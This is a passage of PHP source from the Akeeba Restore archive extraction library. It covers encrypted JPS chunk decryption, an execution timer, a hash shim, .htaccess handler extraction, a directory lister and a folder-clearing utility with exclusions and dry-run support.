		// Does the file have any data, at all?
		if ($this->fileHeader->uncompressed == 0)
		{
			// No file data!
			$this->runState = AK_STATE_DATAREAD;

			return true;
		}

		// Read the mini header
		$binMiniHeader   = fread($this->fp, 8);
		$reallyReadBytes = akstringlen($binMiniHeader);

		if ($reallyReadBytes < 8)
		{
			// We read less than requested! Why? Did we hit local EOF?
			if ($this->isEOF(true) && !$this->isEOF(false))
			{
				// Yeap. Let's go to the next file
				$this->nextFile();
				// Retry reading the header
				$binMiniHeader   = fread($this->fp, 8);
				$reallyReadBytes = akstringlen($binMiniHeader);
				// Still not enough data? If so, the archive is corrupt or missing parts.
				if ($reallyReadBytes < 8)
				{
					$this->setError(AKText::_('ERR_CORRUPT_ARCHIVE'));

					return false;
				}
			}
			else
			{
				// Nope. The archive is corrupt
				$this->setError(AKText::_('ERR_CORRUPT_ARCHIVE'));

				return false;
			}
		}

		// Read the encrypted data
		$miniHeader      = unpack('Vencsize/Vdecsize', $binMiniHeader);
		$toReadBytes     = $miniHeader['encsize'];
		$data            = $this->fread($this->fp, $toReadBytes);
		$reallyReadBytes = akstringlen($data);
		$this->compressedSizeReadSinceLastFileHeader += 8 + $miniHeader['encsize'];

		if ($reallyReadBytes < $toReadBytes)
		{
			// We read less than requested! Why? Did we hit local EOF?
			if ($this->isEOF(true) && !$this->isEOF(false))
			{
				// Yeap. Let's go to the next file
				$this->nextFile();
				// Read the rest of the data
				$toReadBytes -= $reallyReadBytes;
				$restData        = $this->fread($this->fp, $toReadBytes);
				$reallyReadBytes = akstringlen($data);
				if ($reallyReadBytes < $toReadBytes)
				{
					$this->setError(AKText::_('ERR_CORRUPT_ARCHIVE'));

					return false;
				}
				$data .= $restData;
			}
			else
			{
				// Nope. The archive is corrupt
				$this->setError(AKText::_('ERR_CORRUPT_ARCHIVE'));

				return false;
			}
		}

		// Decrypt the data
		$data = AKEncryptionAES::AESDecryptCBC($data, $this->password);

		// Is the length of the decrypted data less than expected?
		$data_length = akstringlen($data);
		if ($data_length < $miniHeader['decsize'])
		{
			$this->setError(AKText::_('ERR_INVALID_JPS_PASSWORD'));

			return false;
		}

		// Trim the data
		$data = substr($data, 0, $miniHeader['decsize']);

		if (!$this->mustSkip())
		{
			// Try to remove an existing file or directory by the same name
			if (file_exists($this->fileHeader->file))
			{
				@unlink($this->fileHeader->file);
				@rmdir($this->fileHeader->file);
			}
			// Remove any trailing slash
			if (substr($this->fileHeader->file, -1) == '/')
			{
				$this->fileHeader->file = substr($this->fileHeader->file, 0, -1);
			}
			// Create the symlink - only possible within PHP context. There's no support built in the FTP protocol, so no postproc use is possible here :(
			@symlink($data, $this->fileHeader->file);
		}

		$this->runState = AK_STATE_DATAREAD;

		return true; // No matter if the link was created!
	}

	private function processTypeFileUncompressed()
	{
		// Uncompressed files are being processed in small chunks, to avoid timeouts
		if (($this->dataReadLength == 0) && !$this->mustSkip())
		{
			// Before processing file data, ensure permissions are adequate
			$this->setCorrectPermissions($this->fileHeader->file);

			clearstatcache($this->fileHeader->file);
		}

		// Open the output file
		if (!$this->mustSkip())
		{
			$ignore =
				AKFactory::get('kickstart.setup.ignoreerrors', false) || $this->isIgnoredDirectory($this->fileHeader->file);
			if ($this->dataReadLength == 0)
			{
				$outfp = @fopen($this->fileHeader->realFile, 'w');
			}
			else
			{
				$outfp = @fopen($this->fileHeader->realFile, 'a');
			}

			// Can we write to the file?
			if (($outfp === false) && (!$ignore))
			{
				// An error occurred
				$this->setError(AKText::sprintf('COULDNT_WRITE_FILE', $this->fileHeader->realFile));

				return false;
			}
		}

		// Does the file have any data, at all?
		if ($this->fileHeader->uncompressed == 0)
		{
			// No file data!
			if (!$this->mustSkip() && is_resource($outfp))
			{
				@fclose($outfp);
			}
			$this->runState = AK_STATE_DATAREAD;

			return true;
		}

		$this->setError('An uncompressed file was detected; this is not supported by this archive extraction utility');

		return false;
	}

	private function processTypeFileCompressedSimple()
	{
		$timer = AKFactory::getTimer();

		// Files are being processed in small chunks, to avoid timeouts
		if (($this->dataReadLength == 0) && !$this->mustSkip())
		{
			// Before processing file data, ensure permissions are adequate
			$this->setCorrectPermissions($this->fileHeader->file);

			clearstatcache($this->fileHeader->file);
		}

		// Open the output file
		if (!$this->mustSkip())
		{
			// Open the output file
			$outfp = @fopen($this->fileHeader->realFile, 'w');

			// Can we write to the file?
			$ignore =
				AKFactory::get('kickstart.setup.ignoreerrors', false) || $this->isIgnoredDirectory($this->fileHeader->file);
			if (($outfp === false) && (!$ignore))
			{
				// An error occurred
				$this->setError(AKText::sprintf('COULDNT_WRITE_FILE', $this->fileHeader->realFile));

				return false;
			}
		}

		// Does the file have any data, at all?
		if ($this->fileHeader->uncompressed == 0)
		{
			// No file data!
			if (!$this->mustSkip())
			{
				if (is_resource($outfp))
				{
					@fclose($outfp);
				}
			}
			$this->runState = AK_STATE_DATAREAD;

			return true;
		}

		$leftBytes = $this->fileHeader->uncompressed - $this->dataReadLength;

		// Loop while there's data to write and enough time to do it
		while (($leftBytes > 0) && ($timer->getTimeLeft() > 0))
		{
			// Read the mini header
			$binMiniHeader   = fread($this->fp, 8);
			$reallyReadBytes = akstringlen($binMiniHeader);
			if ($reallyReadBytes < 8)
			{
				// We read less than requested! Why? Did we hit local EOF?
				if ($this->isEOF(true) && !$this->isEOF(false))
				{
					// Yeap. Let's go to the next file
					$this->nextFile();
					// Retry reading the header
					$binMiniHeader   = fread($this->fp, 8);
					$reallyReadBytes = akstringlen($binMiniHeader);
					// Still not enough data? If so, the archive is corrupt or missing parts.
					if ($reallyReadBytes < 8)
					{
						$this->setError(AKText::_('ERR_CORRUPT_ARCHIVE'));

						return false;
					}
				}
				else
				{
					// Nope. The archive is corrupt
					$this->setError(AKText::_('ERR_CORRUPT_ARCHIVE'));

					return false;
				}
			}

			// Read the encrypted data
			$miniHeader      = unpack('Vencsize/Vdecsize', $binMiniHeader);
			$toReadBytes     = $miniHeader['encsize'];
			$data            = $this->fread($this->fp, $toReadBytes);
			$reallyReadBytes = akstringlen($data);

			$this->compressedSizeReadSinceLastFileHeader += $miniHeader['encsize'] + 8;

			if ($reallyReadBytes < $toReadBytes)
			{
				// We read less than requested! Why? Did we hit local EOF?
				if ($this->isEOF(true) && !$this->isEOF(false))
				{
					// Yeap. Let's go to the next file
					$this->nextFile();
					// Read the rest of the data
					$toReadBytes -= $reallyReadBytes;
					$restData        = $this->fread($this->fp, $toReadBytes);
					$reallyReadBytes = akstringlen($restData);
					if ($reallyReadBytes < $toReadBytes)
					{
						$this->setError(AKText::_('ERR_CORRUPT_ARCHIVE'));

						return false;
					}
					if (akstringlen($data) == 0)
					{
						$data = $restData;
					}
					else
					{
						$data .= $restData;
					}
				}
				else
				{
					// Nope. The archive is corrupt
					$this->setError(AKText::_('ERR_CORRUPT_ARCHIVE'));

					return false;
				}
			}

			// Decrypt the data
			$data = AKEncryptionAES::AESDecryptCBC($data, $this->password);

			// Is the length of the decrypted data less than expected?
			$data_length = akstringlen($data);
			if ($data_length < $miniHeader['decsize'])
			{
				$this->setError(AKText::_('ERR_INVALID_JPS_PASSWORD'));

				return false;
			}

			// Trim the data
			$data = substr($data, 0, $miniHeader['decsize']);

			// Decompress
			$data    = gzinflate($data);
			$unc_len = akstringlen($data);

			// Write the decrypted data
			if (!$this->mustSkip())
			{
				if (is_resource($outfp))
				{
					@fwrite($outfp, $data, akstringlen($data));
				}
			}

			// Update the read length
			$this->dataReadLength += $unc_len;
			$leftBytes = $this->fileHeader->uncompressed - $this->dataReadLength;
		}

		// Close the file pointer
		if (!$this->mustSkip())
		{
			if (is_resource($outfp))
			{
				@fclose($outfp);
			}
		}

		// Was this a pre-timeout bail out?
		if ($leftBytes > 0)
		{
			$this->runState = AK_STATE_DATA;
		}
		else
		{
			// Oh! We just finished!
			$this->runState       = AK_STATE_DATAREAD;
			$this->dataReadLength = 0;
		}

		return true;
	}

	private function readKeyExpansionExtraHeader()
	{
		$signature = fread($this->fp, 4);

		if ($signature != "JH\x00\x01")
		{
			// Not a valid JPS file
			$this->setError(AKText::_('ERR_NOT_A_JPS_FILE'));

			return false;
		}

		$bin_data    = fread($this->fp, 8);
		$header_data = unpack('vlength/Calgo/Viterations/CuseStaticSalt', $bin_data);

		if ($header_data['length'] != 76)
		{
			// Not a valid JPS file
			$this->setError(AKText::_('ERR_NOT_A_JPS_FILE'));

			return false;
		}

		switch ($header_data['algo'])
		{
			case 0:
				$algorithm = 'sha1';
				break;

			case 1:
				$algorithm = 'sha256';
				break;

			case 2:
				$algorithm = 'sha512';
				break;

			default:
				// Not a valid JPS file
				$this->setError(AKText::_('ERR_NOT_A_JPS_FILE'));

				return false;
				break;
		}

		$this->pbkdf2Algorithm     = $algorithm;
		$this->pbkdf2Iterations    = $header_data['iterations'];
		$this->pbkdf2UseStaticSalt = $header_data['useStaticSalt'];
		$this->pbkdf2StaticSalt    = fread($this->fp, 64);

		return true;
	}
}

/**
 * Akeeba Restore
 * An AJAX-powered archive extraction library for JPA, JPS and ZIP archives
 *
 * @package   restore
 * @copyright Copyright (c)2008-2025 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/**
 * Timer class
 */
class AKCoreTimer extends AKAbstractObject
{
	/** @var int Maximum execution time allowance per step */
	private $max_exec_time = null;

	/** @var int Timestamp of execution start */
	private $start_time = null;

	/**
	 * Public constructor, creates the timer object and calculates the execution time limits
	 *
	 * @return  void
	 */
	public function __construct()
	{
		// Initialize start time
		$this->start_time = $this->microtime_float();

		// Get configured max time per step and bias
		$config_max_exec_time = AKFactory::get('kickstart.tuning.max_exec_time', 14);
		$bias                 = AKFactory::get('kickstart.tuning.run_time_bias', 75) / 100;

		// Get PHP's maximum execution time (our upper limit)
		if (@function_exists('ini_get'))
		{
			$php_max_exec_time = @ini_get("maximum_execution_time");
			if ((!is_numeric($php_max_exec_time)) || ($php_max_exec_time == 0))
			{
				// If we have no time limit, set a hard limit of about 10 seconds
				// (safe for Apache and IIS timeouts, verbose enough for users)
				$php_max_exec_time = 14;
			}
		}
		else
		{
			// If ini_get is not available, use a rough default
			$php_max_exec_time = 14;
		}

		// Apply an arbitrary correction to counter CMS load time
		$php_max_exec_time--;

		// Apply bias
		$php_max_exec_time    = $php_max_exec_time * $bias;
		$config_max_exec_time = $config_max_exec_time * $bias;

		// Use the most appropriate time limit value
		if ($config_max_exec_time > $php_max_exec_time)
		{
			$this->max_exec_time = $php_max_exec_time;
		}
		else
		{
			$this->max_exec_time = $config_max_exec_time;
		}
	}

	/**
	 * Returns the current timestampt in decimal seconds
	 */
	private function microtime_float()
	{
		list($usec, $sec) = explode(" ", microtime());

		return ((float) $usec + (float) $sec);
	}

	/**
	 * Wake-up function to reset internal timer when we get unserialized
	 */
	public function __wakeup()
	{
		// Re-initialize start time on wake-up
		$this->start_time = $this->microtime_float();
	}

	/**
	 * Gets the number of seconds left, before we hit the "must break" threshold
	 *
	 * @return float
	 */
	public function getTimeLeft()
	{
		return $this->max_exec_time - $this->getRunningTime();
	}

	/**
	 * Gets the time elapsed since object creation/unserialization, effectively how
	 * long Akeeba Engine has been processing data
	 *
	 * @return float
	 */
	public function getRunningTime()
	{
		return $this->microtime_float() - $this->start_time;
	}

	/**
	 * Enforce the minimum execution time
	 */
	public function enforce_min_exec_time()
	{
		// Try to get a sane value for PHP's maximum_execution_time INI parameter
		if (@function_exists('ini_get'))
		{
			$php_max_exec = @ini_get("maximum_execution_time");
		}
		else
		{
			$php_max_exec = 10;
		}
		if (($php_max_exec == "") || ($php_max_exec == 0))
		{
			$php_max_exec = 10;
		}
		// Decrease $php_max_exec time by 500 msec we need (approx.) to tear down
		// the application, as well as another 500msec added for rounding
		// error purposes. Also make sure this is never gonna be less than 0.
		$php_max_exec = max($php_max_exec * 1000 - 1000, 0);

		// Get the "minimum execution time per step" Akeeba Backup configuration variable
		$minexectime = AKFactory::get('kickstart.tuning.min_exec_time', 0);
		if (!is_numeric($minexectime))
		{
			$minexectime = 0;
		}

		// Make sure we are not over PHP's time limit!
		if ($minexectime > $php_max_exec)
		{
			$minexectime = $php_max_exec;
		}

		// Get current running time
		$elapsed_time = $this->getRunningTime() * 1000;
		$minexectime = 1000.0 * $minexectime;

		// Only run a sleep delay if we haven't reached the minexectime execution time
		if (($minexectime > $elapsed_time) && ($elapsed_time > 0))
		{
			$sleep_msec = (int)($minexectime - $elapsed_time);

			if (function_exists('usleep'))
			{
				usleep(1000 * $sleep_msec);
			}
			elseif (function_exists('time_nanosleep'))
			{
				$sleep_sec  = floor($sleep_msec / 1000);
				$sleep_nsec = 1000000 * ($sleep_msec - ($sleep_sec * 1000));
				time_nanosleep($sleep_sec, $sleep_nsec);
			}
			elseif (function_exists('time_sleep_until'))
			{
				$until_timestamp = time() + $sleep_msec / 1000;
				time_sleep_until($until_timestamp);
			}
			elseif (function_exists('sleep'))
			{
				$sleep_sec = ceil($sleep_msec / 1000);
				sleep($sleep_sec);
			}
		}
	}

	/**
	 * Reset the timer. It should only be used in CLI mode!
	 */
	public function resetTime()
	{
		$this->start_time = $this->microtime_float();
	}

	/**
	 * @param int $max_exec_time
	 */
	public function setMaxExecTime($max_exec_time)
	{
		$this->max_exec_time = $max_exec_time;
	}
}

/**
 * Akeeba Restore
 * An AJAX-powered archive extraction library for JPA, JPS and ZIP archives
 *
 * @package   restore
 * @copyright Copyright (c)2024-2025 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/**
 * PHP 8.4+ workaround for standalone MD5 and SHA-1 functions.
 *
 * PHP 8.4 deprecates the standalone md5(), md5_file(), sha1(), and sha1_file() functions. This trait creates shims
 * which use the hash() and hash_file() functions instead where available.
 *
 * IMPORTANT! PHP 7.4 made the ext/hash extension mandatory. These shims are here only as a backwards compatibility aid.
 * Eventually, we need to remove them, replacing their use by the direct use of hash() and hash_file().
 *
 * @deprecated 9.0
 */
abstract class AKUtilsHash
{
	/**
	 * @deprecated 9.0 Use hash() instead
	 */
	public static function md5($string, $binary = false)
	{
		static $shouldUseHash = null;

		if ($shouldUseHash === null)
		{
			$shouldUseHash = function_exists('hash')
			                 && function_exists('hash_algos')
			                 && in_array('md5', hash_algos());
		}

		return $shouldUseHash ? hash('md5', $string, $binary) : md5($string, $binary);
	}
}

/**
 * Akeeba Restore
 * An AJAX-powered archive extraction library for JPA, JPS and ZIP archives
 *
 * @package   restore
 * @copyright Copyright (c)2008-2025 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */


class AKUtilsHtaccess extends AKAbstractObject
{
	/**
	 * Extract the PHP handler configuration from a .htaccess file.
	 *
	 * This method supports AddHandler lines and SetHandler blocks.
	 *
	 * @param   string  $htaccess
	 *
	 * @return  string|null  NULL when not found
	 */
	public static function extractHandler($htaccess)
	{
		// Normalize the .htaccess
		$htaccess = self::normalizeHtaccess($htaccess);

		// Look for SetHandler and AddHandler in Files and FilesMatch containers
		foreach (['Files', 'FilesMatch'] as $container)
		{
			$result = self::extractContainer($container, $htaccess);

			if (!is_null($result))
			{
				return $result;
			}
		}

		// Fallback: extract an AddHandler line
		$found = preg_match('#^AddHandler\s?.*\.php.*$#mi', $htaccess, $matches);

		if ($found >= 1)
		{
			return $matches[0];
		}

		return null;
	}

	/**
	 * Extracts a Files or FilesMatch container with an AddHandler or SetHandler line
	 *
	 * @param   string  $container  "Files" or "FilesMatch"
	 * @param   string  $htaccess   The .htaccess file content
	 *
	 * @return  string|null  NULL when not found
	 */
	protected static function extractContainer($container, $htaccess)
	{
		// Try to find the opening container tag e.g. <Files....>
		$pattern = sprintf('#<%s\s*.*\.php.*>#m', $container);
		$found   = preg_match($pattern, $htaccess, $matches, PREG_OFFSET_CAPTURE);

		if (!$found)
		{
			return null;
		}

		// Get the rest of the .htaccess sample
		$openContainer = $matches[0][0];
		$htaccess      = trim(substr($htaccess, $matches[0][1] + strlen($matches[0][0])));

		// Try to find the closing container tag
		$pattern = sprintf('#</%s\s*>#m', $container);
		$found   = preg_match($pattern, $htaccess, $matches, PREG_OFFSET_CAPTURE);

		if (!$found)
		{
			return null;
		}

		// Get the rest of the .htaccess sample
		$htaccess       = trim(substr($htaccess, 0, $matches[$found - 1][1]));
		$closeContainer = $matches[$found - 1][0];

		if (empty($htaccess))
		{
			return null;
		}

		// Now we'll explode remaining lines and find the first SetHandler or AddHandler line
		$lines = array_map('trim', explode("\n", $htaccess));
		$lines = array_filter($lines, function ($line) {
			return preg_match('#(Add|Set)Handler\s?#i', $line) >= 1;
		});

		if (empty($lines))
		{
			return null;
		}

		return $openContainer . "\n" . array_shift($lines) . "\n" . $closeContainer;
	}

	/**
	 * Normalize the .htaccess file content, making it suitable for handler extraction
	 *
	 * @param   string  $htaccess  The original file
	 *
	 * @return  string  The normalized file
	 */
	private static function normalizeHtaccess($htaccess)
	{
		// Convert all newlines into UNIX style
		$htaccess = str_replace("\r\n", "\n", $htaccess);
		$htaccess = str_replace("\r", "\n", $htaccess);

		// Return only non-comment, non-empty lines
		$isNonEmptyNonComment = function ($line) {
			$line = trim($line);

			return !empty($line) && (substr($line, 0, 1) !== '#');
		};

		$lines = array_map('trim', explode("\n", $htaccess));

		return implode("\n", array_filter($lines, $isNonEmptyNonComment));
	}
}

/**
 * Akeeba Restore
 * An AJAX-powered archive extraction library for JPA, JPS and ZIP archives
 *
 * @package   restore
 * @copyright Copyright (c)2008-2025 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/**
 * A filesystem scanner which uses opendir()
 */
class AKUtilsLister extends AKAbstractObject
{
	public function &getFiles($folder, $pattern = '*')
	{
		// Initialize variables
		$arr   = [];
		$false = false;

		if (!is_dir($folder))
		{
			return $false;
		}

		$handle = @opendir($folder);
		// If directory is not accessible, just return FALSE
		if ($handle === false)
		{
			$this->setWarning('Unreadable directory ' . $folder);

			return $false;
		}

		while (($file = @readdir($handle)) !== false)
		{
			if (!fnmatch($pattern, $file))
			{
				continue;
			}

			if (($file != '.') && ($file != '..'))
			{
				$ds    =
					($folder == '') || ($folder == '/') || (@substr($folder, -1) == '/') || (@substr($folder, -1) == DIRECTORY_SEPARATOR) ?
						'' : DIRECTORY_SEPARATOR;
				$dir   = $folder . $ds . $file;
				$isDir = is_dir($dir);
				if (!$isDir)
				{
					$arr[] = $dir;
				}
			}
		}
		@closedir($handle);

		return $arr;
	}

	public function &getFolders($folder, $pattern = '*')
	{
		// Initialize variables
		$arr   = [];
		$false = false;

		if (!is_dir($folder))
		{
			return $false;
		}

		$handle = @opendir($folder);
		// If directory is not accessible, just return FALSE
		if ($handle === false)
		{
			$this->setWarning('Unreadable directory ' . $folder);

			return $false;
		}

		while (($file = @readdir($handle)) !== false)
		{
			if (!fnmatch($pattern, $file))
			{
				continue;
			}

			if (($file != '.') && ($file != '..'))
			{
				$ds    =
					($folder == '') || ($folder == '/') || (@substr($folder, -1) == '/') || (@substr($folder, -1) == DIRECTORY_SEPARATOR) ?
						'' : DIRECTORY_SEPARATOR;
				$dir   = $folder . $ds . $file;
				$isDir = is_dir($dir);
				if ($isDir)
				{
					$arr[] = $dir;
				}
			}
		}
		@closedir($handle);

		return $arr;
	}
}

/**
 * Akeeba Restore
 * An AJAX-powered archive extraction library for JPA, JPS and ZIP archives
 *
 * @package   restore
 * @copyright Copyright (c)2008-2025 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/**
 * A filesystem zapper - removes all files and folders under a root
 */
class AKUtilsZapper extends AKAbstractPart
{
	/** @var array Directories left to be deleted */
	private $directory_list;

	/** @var array Files left to be deleted */
	private $file_list;

	/**
	 * Have we finished scanning all subdirectories of the current directory?
	 *
	 * @var   boolean
	 */
	private $done_subdir_scanning = false;

	/**
	 * Have we finished scanning all files of the current directory?
	 *
	 * @var   boolean
	 */
	private $done_file_scanning = true;

	/**
	 * Is the current directory completely excluded?
	 *
	 * @var boolean
	 */
	private $excluded_folder = false;

	/** @var   integer  How many files have been processed in the current step */
	private $processed_files_counter;

	/** @var   string  Current directory being scanned */
	private $current_directory;

	/** @var   string  Current root directory being processed */
	private $root = '';

	/** @var   integer  Total files to process */
	private $total_files = 0;

	/** @var   integer  Total files already processed */
	private $done_files = 0;

	/** @var   integer  Total folders to process */
	private $total_folders = 0;

	/** @var   integer  Total folders already processed */
	private $done_folders = 0;

	/** @var array Absolute filesystem patterns to never delete (e.g. /var/www/html/*.jpa) */
	private $excluded = [];

	/** @var bool Are we in a dry-run? */
	private $dryRun = false;

	/**
	 * Implements the _prepare() abstract method
	 *
	 * Configuration parameters:
	 *
	 * root      The root under which we are going to be deleting files
	 * excluded  Absolute filesystem patterns to never delete (e.g. /var/www/html/*.jpa)
	 *
	 * @return  void
	 */
	protected function _prepare()
	{
		debugMsg(self::class . " :: Starting _prepare()");

		$defaultExcluded = $this->getDefaultExclusions();

		$parameters = array_merge([
			'root'     => rtrim(AKFactory::get('kickstart.setup.destdir'), '/' . DIRECTORY_SEPARATOR),
			'excluded' => $defaultExcluded,
            'dryRun'   => AKFactory::get('kickstart.setup.dryrun', false)
		], $this->_parametersArray);

		$this->root                 = $parameters['root'];
		$this->excluded             = $parameters['excluded'];
		$this->directory_list[]     = $this->root;
		$this->done_subdir_scanning = true;
		$this->done_file_scanning   = true;
		$this->total_files          = 0;
		$this->done_files           = 0;
		$this->total_folders        = 0;
		$this->done_folders         = 0;
		$this->dryRun               = $parameters['dryRun'];

		if (empty($this->root))
		{
			$error = "The folder to delete was not specified.";

			debugMsg(self::class . " :: " . $error);
			$this->setError($error);

			return;
		}

		if (!is_dir($this->root))
		{
			$error = sprintf("Folder %s does not exist", $this->root);

			debugMsg(self::class . " :: " . $error);
			$this->setError($error);

			return;
		}

		$this->setState('prepared');

		debugMsg(self::class . " :: prepared");
	}

	protected function _run()
	{
		if ($this->getState() == 'postrun')
		{
			debugMsg(self::class . " :: Already finished");
			$this->setStep("-");
			$this->setSubstep("");

			return true;
		}

		// If I'm done scanning files and subdirectories and there are no more files to pack get the next
		// directory. This block is triggered in the first step in a new root.
		if (empty($this->file_list) && $this->done_subdir_scanning && $this->done_file_scanning)
		{
			$this->progressMarkFolderDone();

			if (!$this->getNextDirectory())
			{
			    $this->setState('postrun');
				return true;
			}
		}

		// If I'm not done scanning for files and the file list is empty then scan for more files
		if (!$this->done_file_scanning && empty($this->file_list))
		{
			$this->scanFiles();
		}
		// If I have files left, delete them
		elseif (!empty($this->file_list))
		{
			$this->delete_files();
		}
		// If I'm not done scanning subdirectories, go ahead and scan some more of them
		elseif (!$this->done_subdir_scanning)
		{
			$this->scanSubdirs();
		}

		// Do I have an error?
		if ($this->getError())
		{
			return false;
		}

		return true;
	}

	/**
	 * Implements the _finalize() abstract method
	 *
	 */
	protected function _finalize()
	{
		// No finalization is required
		$this->setState('finished');
	}

	// ============================================================================================
	// PRIVATE METHODS
	// ============================================================================================

	/**
	 * Gets the next directory to scan from the stack. It also applies folder
	 * filters (directory exclusion, subdirectory exclusion, file exclusion),
	 * updating the operation toggle properties of the class.
	 *
	 * @return   boolean  True if we found a directory, false if the directory
	 *                    stack is empty. It also returns true if the folder is
	 *                    filtered (we are told to skip it)
	 */
	private function getNextDirectory()
	{
		// Reset the file / folder scanning positions
		$this->done_file_scanning   = false;
		$this->done_subdir_scanning = false;
		$this->excluded_folder      = false;

		if (count($this->directory_list) == 0)
		{
			// No directories left to scan
			return false;
		}

		// Get and remove the last entry from the $directory_list array
		$this->current_directory = array_pop($this->directory_list);
		$this->setStep($this->current_directory);
		$this->processed_files_counter = 0;

		// Apply directory exclusion filters
		if ($this->isFiltered($this->current_directory))
		{
			debugMsg("Skipping directory " . $this->current_directory);
			$this->done_subdir_scanning = true;
			$this->done_file_scanning   = true;
			$this->excluded_folder      = true;

			return true;
		}

		return true;
	}

	/**
	 * Try to delete some files from the $file_list
	 *
	 * @return   boolean   True if there were files deleted , false otherwise
	 *                     (empty filelist or fatal error)
	 */
	protected function delete_files()
	{
		// Get a reference to the archiver and the timer classes
		$timer = AKFactory::getTimer();

		// Normal file removal loop; we keep on processing the file list, removing files as we go.
		if (count($this->file_list) == 0)
		{
			// No files left to pack. Return true and let the engine loop
			$this->progressMarkFolderDone();

			return true;
		}

		debugMsg("Deleting files");

		$numberOfFiles = 0;
		$postProc = AKFactory::getPostProc();

		while ((count($this->file_list) > 0))
		{
			$file = @array_shift($this->file_list);

			$numberOfFiles++;

			// Remove the file
            $this->setSubstep($file);
            $this->notify((object) [
                'type' => 'deleteFile',
                'file' => $file
            ]);

            if (!$this->dryRun)
            {
                $postProc->unlink($file);
	            clearFileInOPCache($file);
            }

			// Mark a done file
			$this->progressMarkFileDone();

			if ($this->getError())
			{
				return false;
			}

			// I am running out of time.
			if ($timer->getTimeLeft() <= 0)
			{
				return true;
			}
		}

		// True if we have more files, false if we're done packing
		return (count($this->file_list) > 0);
	}

	protected function progressAddFile()
	{
		$this->total_files++;
	}

	protected function progressMarkFileDone()
	{
		$this->done_files++;
	}

	protected function progressAddFolder()
	{
		$this->total_folders++;
	}

	protected function progressMarkFolderDone()
	{
        debugMsg("Deleting directory " . $this->current_directory);

        $this->setSubstep($this->current_directory);
        $this->notify((object) [
            'type' => 'deleteFolder',
            'file' => $this->current_directory
        ]);

        if (!$this->dryRun)
        {
            /**
             * The scanner goes from shallow to deep directory. However this means that when it scans
             * <root>/foo/bar/baz/bat
             * it will only be able to remove the 'bat' directory, thus leaving foo/bar/baz on the disk. The following
             * method will check if the directory is a subdirectory of the site root and work its way up the tree until
             * it finds the site root. Therefore it will end up deleting the parent folders as well.
             */
            $this->deleteParentFolders($this->current_directory);
        }
	}

	/**
	 * Returns the site root, the translated site root and the translated current directory
	 *
	 * @return array
	 */
	protected function getCleanDirectoryComponents()
	{
		$root            = $this->root;
		$translated_root = $root;
		$dir             = TrimTrailingSlash($this->current_directory);

		if (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN')
		{
			$translated_root = TranslateWinPath($translated_root);
			$dir             = TranslateWinPath($dir);
		}

		if (substr($dir, 0, strlen($translated_root)) == $translated_root)
		{
			$dir = substr($dir, strlen($translated_root));
		}
		elseif (in_array(substr($translated_root, -1), ['/', '\\']))
		{
			$new_translated_root = rtrim($translated_root, '/\\');

			if (substr($dir, 0, strlen($new_translated_root)) == $new_translated_root)
			{
				$dir = substr($dir, strlen($new_translated_root));
			}
		}

		if (substr($dir, 0, 1) == '/')
		{
			$dir = substr($dir, 1);
		}

		return [$root, $translated_root, $dir];
	}

	/**
	 * Steps the subdirectory scanning of the current directory
	 *
	 * @return  boolean  True on success, false on fatal error
	 */
	protected function scanSubdirs()
	{
		$lister = new AKUtilsLister();

		[$root, $translated_root, $dir] = $this->getCleanDirectoryComponents();

		debugMsg("Scanning directories of " . $this->current_directory);

		// Get subdirectories
		$subdirectories = $lister->getFolders($this->current_directory);

		// Error propagation
		$this->propagateFromObject($lister);

		// Error control
		if ($this->getError())
		{
			return false;
		}

		// Start adding the subdirectories
		if (!empty($subdirectories) && is_array($subdirectories))
		{
			// Treat symlinks to directories as simple symlink files
			foreach ($subdirectories as $subdirectory)
			{
				if (is_link($subdirectory))
				{
					// Symlink detected; apply directory filters to it
					if (empty($dir))
					{
						$dirSlash = $dir;
					}
					else
					{
						$dirSlash = $dir . '/';
					}

					$check = $dirSlash . basename($subdirectory);
					debugMsg("Directory symlink detected: $check");

					if (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN')
					{
						$check = TranslateWinPath($check);
					}

					$check = $translated_root . '/' . $check;

					// Check for excluded symlinks
					if ($this->isFiltered($check))
					{
						debugMsg("Skipping directory symlink " . $check);

						continue;
					}

					debugMsg('Adding folder symlink: ' . $check);

					$this->file_list[] = $subdirectory;
					$this->progressAddFile();
				}

				$this->directory_list[] = $subdirectory;
				$this->progressAddFolder();
			}
		}

		$this->done_subdir_scanning = true;

		return true;
	}

	/**
	 * Steps the files scanning of the current directory
	 *
	 * @return  boolean  True on success, false on fatal error
	 */
	protected function scanFiles()
	{
		$lister = new AKUtilsLister();

		[$root, $translated_root, $dir] = $this->getCleanDirectoryComponents();

		debugMsg("Scanning files of " . $this->current_directory);
		$this->processed_files_counter = 0;

		// Get file listing
		$fileList = $lister->getFiles($this->current_directory);

		// Error propagation
		$this->propagateFromObject($lister);

		// Error control
		if ($this->getError())
		{
			return false;
		}

		// Do I have an unreadable directory?
		if (($fileList === false))
		{
			$this->setWarning('Unreadable directory ' . $this->current_directory);

			$this->done_file_scanning = true;

			return true;
		}

		// Directory was readable, process the file list
		if (is_array($fileList) && !empty($fileList))
		{
			// Add required trailing slash to $dir
			if (!empty($dir))
			{
				$dir .= '/';
			}

			// Scan all directory entries
			foreach ($fileList as $fileName)
			{
				$check = $dir . basename($fileName);

				if (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN')
				{
					$check = TranslateWinPath($check);
				}

				$check        = $translated_root . '/' . $check;
				$skipThisFile = $this->isFiltered($check);

				if ($skipThisFile)
				{
					debugMsg("Skipping file $fileName");

					continue;
				}

				$this->file_list[] = $fileName;
				$this->processed_files_counter++;
				$this->progressAddFile();
			}
		}

		$this->done_file_scanning = true;

		return true;
	}

	/**
	 * Is a file or folder filtered (protected from deletion)
	 *
	 * @param   string  $fileOrFolder
	 *
	 * @return  bool
	 */
	private function isFiltered($fileOrFolder)
	{
		foreach ($this->excluded as $pattern)
		{
			if (fnmatch($pattern, $fileOrFolder))
			{
				return true;
			}
		}

		return false;
	}

	/**
	 * Get the default exceptions from deletion
	 *
	 * @return  array
	 */
	private function getDefaultExclusions()
	{
		$ret     = [];
		$destDir = AKFactory::get('kickstart.setup.destdir');

		/**
